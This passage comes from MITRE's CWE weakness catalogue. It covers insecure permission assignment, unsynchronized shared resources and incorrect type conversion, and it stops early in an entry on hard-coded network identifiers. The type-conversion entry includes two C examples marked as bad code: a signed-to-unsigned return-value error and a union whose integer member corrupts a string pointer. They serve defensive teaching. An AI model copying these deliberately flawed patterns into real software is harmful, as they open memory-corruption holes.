CVE-2007-6033	Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution.
CVE-2007-5544	Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session.
CVE-2005-4868	Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.
CVE-2004-1714	Security product uses "Everyone: Full Control" permissions for its configuration files.
CVE-2001-0006	"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity.
CVE-2002-0969	Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions.

Potential Mitigations

Phase: Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Effectiveness: Moderate

Note: This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Phases: Implementation; Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Effectiveness: High

Phase: System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Effectiveness: High

Phase: Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Phase: Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Phases: Operation; System Configuration

Strategy: Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

Detection Methods

Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Manual Analysis

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Note: Note that this technique is only useful for permissions issues related to system resources. It is not likely to detect application-level business rules that are related to permissions, such as if a user of a blog system marks a post as "private," but the blog system inadvertently marks it as "public."

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Inter-application Flow Analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Host Application Interface Scanner

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Automated Monitored Execution

Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	753	2009 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	803	2010 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	860	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	866	2011 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	946	SFP Secondary Cluster: Insecure Resource Permissions
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1150	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Frequent Misuse

Rationale:

While the name itself indicates an assignment of permissions for resources, this is often misused for vulnerabilities in which "permissions" are not checked, which is an "authorization" weakness (CWE-285 or descendants) within CWE's model [REF-1287].

Comments:

Closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO03-J	Create files with appropriate access permission
The CERT Oracle Secure Coding Standard for Java (2011)	SEC01-J	Do not allow tainted variables in privileged blocks
The CERT Oracle Secure Coding Standard for Java (2011)	ENV03-J	Do not grant dangerous combinations of permissions
CERT C Secure Coding	FIO06-C	Create files with appropriate access permissions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-1	Accessing Functionality Not Properly Constrained by ACLs
CAPEC-122	Privilege Abuse
CAPEC-127	Directory Indexing
CAPEC-17	Using Malicious Files
CAPEC-180	Exploiting Incorrectly Configured Access Control Security Levels
CAPEC-206	Signing Malicious Code
CAPEC-234	Hijacking a privileged process
CAPEC-60	Reusing Session IDs (aka Session Replay)
CAPEC-61	Session Fixation
CAPEC-62	Cross Site Request Forgery
CAPEC-642	Replace Binaries

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "File Permissions." Page 495. 1st Edition. Addison Wesley. 2006.

[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". Chapter 8, "Access Control." Page 194. 1st Edition. Addison-Wesley. 2002.

[REF-594] Jason Lam. "Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response". SANS Software Security Institute. 2010-03-24. <http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response>.

[REF-199] NIST. "United States Government Configuration Baseline (USGCB)". <https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline>. URL validated: 2023-03-28.

[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.7. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.

[REF-1327] Center for Internet Security. "CIS Google Cloud Computing Platform Benchmark version 1.3.0". Section 5.1. 2022-03-31. <https://www.cisecurity.org/benchmark/google_cloud_computing_platform>. URL validated: 2023-04-24.

Content History

Submissions
Submission Date	Submitter	Organization
2008-09-08 (CWE 1.0, 2008-09-09)	CWE Content Team	MITRE
2008-09-08 (CWE 1.0, 2008-09-09)	new weakness-focused entry for Research view.
Modifications
Modification Date	Modifier	Organization
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations, Related_Attack_Patterns
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Name
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Potential_Mitigations, Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples, Description, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated References
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Maintenance_Notes, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Description, Detection_Factors, Modes_of_Introduction, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Demonstrative_Examples, Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Applicable_Platforms, Description, References
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
Previous Entry Names
Change Date	Previous Entry Name
2009-01-12	Insecure Permission Assignment for Resource

2009-05-27	Insecure Permission Assignment for Critical Resource

Weakness ID: 821

View customized information:

Description

The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.

Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	572	Call to Thread run() instead of start()
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	574	EJB Bad Practices: Use of Synchronization Primitives
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1088	Synchronous Access of Remote Resource without Timeout
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	557	Concurrency Issues

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Other	Technical Impact: Modify Application Data; Read Application Data; Alter Execution Logic

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

Content History

Submissions
Submission Date	Submitter	Organization
2010-08-06 (CWE 1.10, 2010-09-27)	CWE Content Team	MITRE
2010-08-06 (CWE 1.10, 2010-09-27)
Modifications
Modification Date	Modifier	Organization
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-09-23	CWE Content Team	MITRE
2019-09-23	updated Maintenance_Notes
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 704

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

The product does not correctly convert an object, resource, or structure from one type to a different type.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	664	Improper Control of a Resource Through its Lifetime
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	588	Attempt to Access Child of a Non-structure Pointer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	843	Access of Resource Using Incompatible Type ('Type Confusion')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1389	Incorrect Parsing of Numbers with Different Radices

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	843	Access of Resource Using Incompatible Type ('Type Confusion')

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Other	Technical Impact: Other

Demonstrative Examples

Example 1

(bad code)

Example Language: C

unsigned int readdata () {

int amount = 0;
...
amount = accessmainframe();
...
return amount;

}

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

(bad code)

Example Language: C

#define NAME_TYPE 1
#define ID_TYPE 2

struct MessageBuffer
{

int msgType;
union {

char *name;
int nameID;

};

};

int main (int argc, char **argv) {

struct MessageBuffer buf;
char *defaultMessage = "Hello World";

buf.msgType = NAME_TYPE;
buf.name = defaultMessage;
printf("Pointer of buf.name is %p\n", buf.name);
/* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it could be any value. */

buf.nameID = (int)(defaultMessage + 1);
printf("Pointer of buf.name is now %p\n", buf.name);
if (buf.msgType == NAME_TYPE) {

printf("Message: %s\n", buf.name);

}
else {

printf("Message: Use ID %d\n", buf.nameID);

}

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

Pointer of name is 10830

Pointer of name is now 10831

Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Observed Examples

Reference	Description
CVE-2021-43537	Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122)
CVE-2022-3979	Chain: data visualization program written in PHP uses the "!=" operator instead of the type-strict "!==" operator (CWE-480) when validating hash values, potentially leading to an incorrect type conversion (CWE-704)

Detection Methods

Fuzzing

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1129	CISQ Quality Measures (2016) - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP05-C		Do not cast away a const qualification
CERT C Secure Coding	EXP39-C	CWE More Abstract	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT36-C	CWE More Abstract	Converting a pointer to integer or integer to pointer
CERT C Secure Coding	STR34-C	CWE More Abstract	Cast characters to unsigned types before converting to larger integer sizes
CERT C Secure Coding	STR37-C	CWE More Abstract	Arguments to character handling functions must be representable as an unsigned char
Software Fault Patterns	SFP1		Glitch in computation
OMG ASCRM	ASCRM-CWE-704

References

[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-704. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2008-09-09 (CWE 1.0, 2008-09-09)	CWE Content Team	MITRE
2008-09-09 (CWE 1.0, 2008-09-09)	Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Description
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Demonstrative_Examples, Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples

Weakness ID: 1051

Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

View customized information:

Description

The product initializes data using hard-coded values that act as network resource identifiers.

Extended Description

This issue can prevent the product from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1419	Incorrect Initialization of Resource

Relevant to the view "Software Development" (CWE-699)

